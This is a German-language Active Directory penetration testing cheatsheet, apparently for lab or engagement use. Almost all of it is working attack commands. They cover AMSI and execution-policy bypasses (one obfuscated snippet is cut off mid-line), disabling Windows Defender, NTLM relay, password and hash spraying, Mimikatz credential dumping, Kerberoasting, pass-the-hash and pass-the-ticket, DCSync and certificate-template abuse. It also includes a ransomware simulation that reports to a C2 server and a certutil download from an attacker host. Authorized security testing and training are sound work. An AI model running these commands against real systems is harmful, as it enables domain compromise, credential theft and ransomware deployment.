AD Penetration Testing Cheatsheet

Start

Powershell Execution Policy Bypass

Die PowerShell Execution Policy ist eine Sicherheitseinstellung, die bestimmt, ob und wie PowerShell-Skripte auf einem System ausgeführt werden dürfen. Sie bietet verschiedene Modi, wie "Restricted", "AllSigned" und "Unrestricted", um die Ausführung von Skripten basierend auf deren Herkunft und Signatur zu steuern oder zu beschränken.

Ein File erlauben

```
powershell -ExecutionPolicy ByPass -File Powerview.ps1
```

Allgemein für die Powershell Session Execution Policy abschalten

```
powershell -ep bypass
```

Powershell Downgrade (V2 hat auch keine AMSI)

```
powershell -version 2
```

Invishell

Die Invisi-Shell umgeht alle Sicherheitsfunktionen von Powershell (ScriptBlock Logging, Module Logging, Transcription, AMSI) durch das Hooking von .Net-Assemblies. Der Hook wird über die CLR Profiler API durchgeführt.

https://github.com/OmerYa/Invisi-Shell

Mit Adminrechten:

```
.\RunWithPathAsAdmin.bat
```

Ohne Adminrechten:

```
.\RunWithRegistryNonAdmin.bat
```

WICHTIG: `InShellProf.dll` **muss im selben Ordner sein!**

AMSI-Bypass

Ein AMSI (Antimalware Scan Interface) Bypass ist eine Technik, die dazu verwendet wird, die Sicherheitsüberprüfungen von Windows PowerShell-Skripten zu umgehen, indem es die AMSI-Scans und -Erkennungen von schädlichem Code oder Aktivitäten unterdrückt oder manipuliert. Durch den Bypass können Angreifer potenziell schädlichen Code ausführen oder Malware laden, ohne von der integrierten Sicherheitsinfrastruktur von Windows erkannt zu werden.

AMSI Bypass Beispiel

```
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16(
```

https://amsi.fail

https://github.com/danielbohannon/Invoke-Obfuscation

Windows Defender und AMSI Bypass

https://github.com/RythmStick/AMSITrigger

https://github.com/t3hbb/DefenderCheck

https://github.com/rasta-mouse/ThreatCheck

```
AmsiTrigger_x64.exe -i Invoke-Mimikatz.ps1
```

```
DefenderCheck.exe PowerUp.ps1
```

```
ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
```

RDP auf Rechner freischalten via CLI

Check ob Benutzer lokaler Admin ist

```
net localgroup administrators
```

Wenn nein, dann als lokalen Admin hinzufügen

```
net localgroup administrators /add smp\dmrskos
```

RDP einschalten

```
Set-ItemProperty - Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -name "fDenyTSConnections" -Value 0
```

Firewall Regel für RemoteDesktop anlegen

```
Enable-NetFirewallRule -DisplayGroup "RemoteDesktop"
```

Firewall Regel für RemoteDesktop bauen

```
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
```

Testen ob es geklappt hat

```
Test-NetConnection 127.0.0.1 -CommonTCPPort rdp
```

Windows Defender via CLI ausschalten

```
Set-MpPreference -DisableIOAVProtection $true
```

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

Enumeration

Netzwerkshares mit interessanten Daten finden

```
snaffler.exe -s -o snaffler.log
```

Portscan

Portscan durchführen

```
.\PortScan.ps1 10.0.6.6 1..1024
```

PowerUp

PowerUp importieren

```
. .\PowerUp.ps1
```

Checks duchlaufen lassen

```
Invoke-AllChecks > powerup_results.txt
```

PowerView

PowerUp importieren

```
. .\PowerView.ps1
```

Alle Benutzer der Domäne anzeigen lassen

```
Get-NetUser | select samaccountname
```

Alle Computer der Domäne anzeigen lassen

```
Get-NetComputer
```

Alle Gruppen der Domäne anzeigen lassen

`Get-NetGroup`

Alle Domänen des Forests anzeigen lassen

`Get-NetDomain`

Alle Trusts der Domäne anzeigen lassen

`Get-NetDomainTrust`

Domain Policy anzeigen lassen

`(Get-DomainPolicy)."system access"`

AppLocker Policy anzeigen lassen

`Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections`

BloodHound

https://bloodhound.readthedocs.io/en/latest/

BloodHound Cypher Cheatsheet

SharpHound (Collecter) importieren

`. .\SharpHound.ps1`

Collection starten

`Invoke-BloodHound -CollectionMethod all`

BloodHound Cypher:

alle GPOs anzeigen:

`Match (n:GPO) return n`

Alle Kerberoastable User finden:

`MATCH (n:User)WHERE n.hasspn=true RETURN n`

Alle AS-REP Roastable User finden:

`MATCH (u:User {dontreqpreauth: true}) RETURN u`

Alle user mit Keyword finden:

`MATCH (u:User) WHERE ANY (x IN u.serviceprincipalnames WHERE toUpper(x) CONTAINS 'SQL')RETURN u`

Kerberoastable User mit einem Pfad zu Domainadmin:

`MATCH (u:User {hasspn:true}) MATCH (g:Group) WHERE g.name CONTAINS 'DOMAIN ADMINS' MATCH p = shortestPath( (u)-[*1..]->(g) ) RETURN`

Server finden wo RDP aktiv ist:

`match p=(g:Group)-[:CanRDP]->(c:Computer) where  g.objectid ENDS WITH '-513'  AND c.operatingsystem CONTAINS 'Server' return p`

Unconstrained delegations finden:

`MATCH (c:Computer {unconstraineddelegation:true}) return c`

Alle Sessions in einer Domäne finden:

`MATCH p=(m:Computer)-[r:HasSession]->(n:User {domain: “SMP.LOCAL"}) RETURN p`

Alle Gruppen mit Admin finden: `Match (n:Group) WHERE n.name CONTAINS "ADMIN" return n`

Klassiche AD-Angriffe

NTLM Relay

NTLM Relay starten

```
responder -I eth0 -rdwv
```

Gefundene Hashes cracken

```
hashcat -m 5600 -a 0 hash.txt wordlist.txt
```

RDP Bruteforce

Custom Wordlist erstellen

```
python3 cupp.py -i
```

https://github.com/Mebus/cupp

Am Kali

```
hydra -L users.txt -P wordlist.txt rdp://10.0.6.6
```

Password Spraying

Am Kali

```
crackmapexec smb 10.0.6.0/24 -u dmrskos -d SMP.local -p password123!
```

Hash Spraying

Am Windows

```
./mimikatz.exe "sekurlsa::logonpasswords"
```

Am Kali

```
crackmapexec smb 10.0.6.0/24 -u dmrskos -H 8119935c5f7fa5f57135620c8073aaca
```

Password Extraction

LaZagne

```
.\lazagne.exe all
```

AS-REP Roasting

Am Windows

```
.\Rubeus.exe asreproast /nowrap /outfile:as.txt
```

AM Kali

WICHTIG: `$23$` zwischen Algorithmus und Bentuzer einfügen!

```
hashcat -m 18200 -a 0 as_hash.txt /usr/share/wordlists/rockyou.txt
```

Alternativ Cracking direkt am Windows

```
john.exe --wordlist=rockyou.txt as.txt
```

Kerberoasting

Am Windows

```
.\Rubeus.exe kerberoast /nowrap /outfile:tgs.txt
```

Alternativ Kerberoasting via Kali (Impacket Suite)

```
python3 GetUserSPNs.py -dc-ip 10.0.6.2 SMP.LOCAL/dmrskos:password123!
```

Am Kali

```
hashcat -m 13100 -a 0 tgs.txt /usr/share/wordlists/rockyou.txt
```

Alternativ Cracking direkt am Windows

```
john.exe --wordlist=rockyou.txt tgs.txt
```

Pass-the-Hash (PtH)

Mimikatz starten

```
.\mimikatz.exe
```

NTLM Hash für Benutzer mittels Logonpasswords auslesen

```
sekurlsa::logonpasswords
```

Pass-the-Hash durchführen

```
sekurlsa::pth /user:dmrskos /domain:smp.local /ntlm:8119935c5f7fa5f57135620c8073aaca
```

Pass-the-Tichekt (PtT)

Mimikatz starten

```
.\mimikatz.exe
```

Kerberos Tickets exportieren

```
sekurlsa::tickets /export
```

Pass-the-Ticket durchführen

```
kerberos::ptt dmrskos@krbtgt-SMP.LOCAL.kirbi
```

CMD in dem Kontext des PTT Angriffs spawnen

```
misc::cmd
```

Alternative über Rubeus

Pass-the-Ticket durchführen

```
.\Rubeus.exe ptt /ticket:dmrskos@krbtgt-SMP.LOCAL.kirbi
```

Kerberos Tickets kontrollieren

```
klist
```

Remote-Shell in dem Kontext des PTT Angriffs spawnen

```
PsExec64.exe \\10.0.6.6 cmd.exe
```

Ticket Crafting

```
sekurlsa::kerberos
```

```
.\Rubeus.exe asktgt /user:dmrskos /rc4:8119935c5f7fa5f57135620c8073aaca /ptt
```

Overpass the Hash

Rubeus Overpass the Hash

```
.\Rubeus.exe asktgt /user:sqlservice /aes256:8119935c5f7fa5f57135620c8073aaca /ptt
```

Lateral Movement durch Overpass the Hash

```
Enter-PSSession -ComputerName SMPVWIN2K19DC
```

Shadow Credentials

`Whisker.exe add /target:SMPVWIN10CL02$`

https://github.com/eladshamir/Whisker

DCSync

```
`mimikatz.exe "lsadump::dcsync /user:domain\krbtgt" "exit"`
```

Vulnerable Certificates

Anfällige Templates finden

`.\Certify.exe find \vulnerable`

Zertifikat extrahieren

`.\Certify.exe request /ca:SMPVWIN2K19DC.SMP.local\SMP-SMPVWIN2K19DC-CA /template:CodeSigningCert /altname:dmrskos`

Zertifikat umwandeln (Kali)

`openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`

Zertifikat nutzen um valides Ticket für Benutzer zu erstellen

`Rubeus.exe asktgt /user:hberger /certificate:cert.pfx /ptt`

Ransomware Infection Simulation

PSRansom Server am Kali starten

`pwsh C2Server.ps1 + 80`

am Windows

`.\PSRansom.ps1 -e Directory -s 10.0.6.10 -p 80 -x`

File Transfer

Python 2 SimpleHTTPServer auf Windows

`python -m SimpleHTTPServer 80`

Python 3 HTTP Server auf Windows

`python3 http.server 80`

HFS.exe HTTP Server auf Windows

`hfs.exe` starten

Download auf Windows via Certutil

`certutil.exe -urlcache -split -f http://10.0.6.10/Powerview.ps1`

Wichtige Mimikatz Commands

Vault auslesen

`vault::list`

ekeys auslesen

`sekurlsa::ekeys`

Credential Storage auslesen

`vault::cred`

Secrets, SAM und Cache auslesen

Mimikatz Token Elevation (NT/SYSTEM)

`mimikatz.exe “token::elevate“`

Secrets auslesen

`lsadump::secrets`

SAM auslesen

`lsadump::sam`

Cache auslesen

`lsadump::cache`

Mimikatz Token Reverten (normaler User)

`token::revert`

Aktive Sessions auslesen

`ts::sessions`

Wichtige Quellen:

- https://blog.badsectorlabs.com
- https://www.ired.team
- https://ppn.snovvcrash.rocks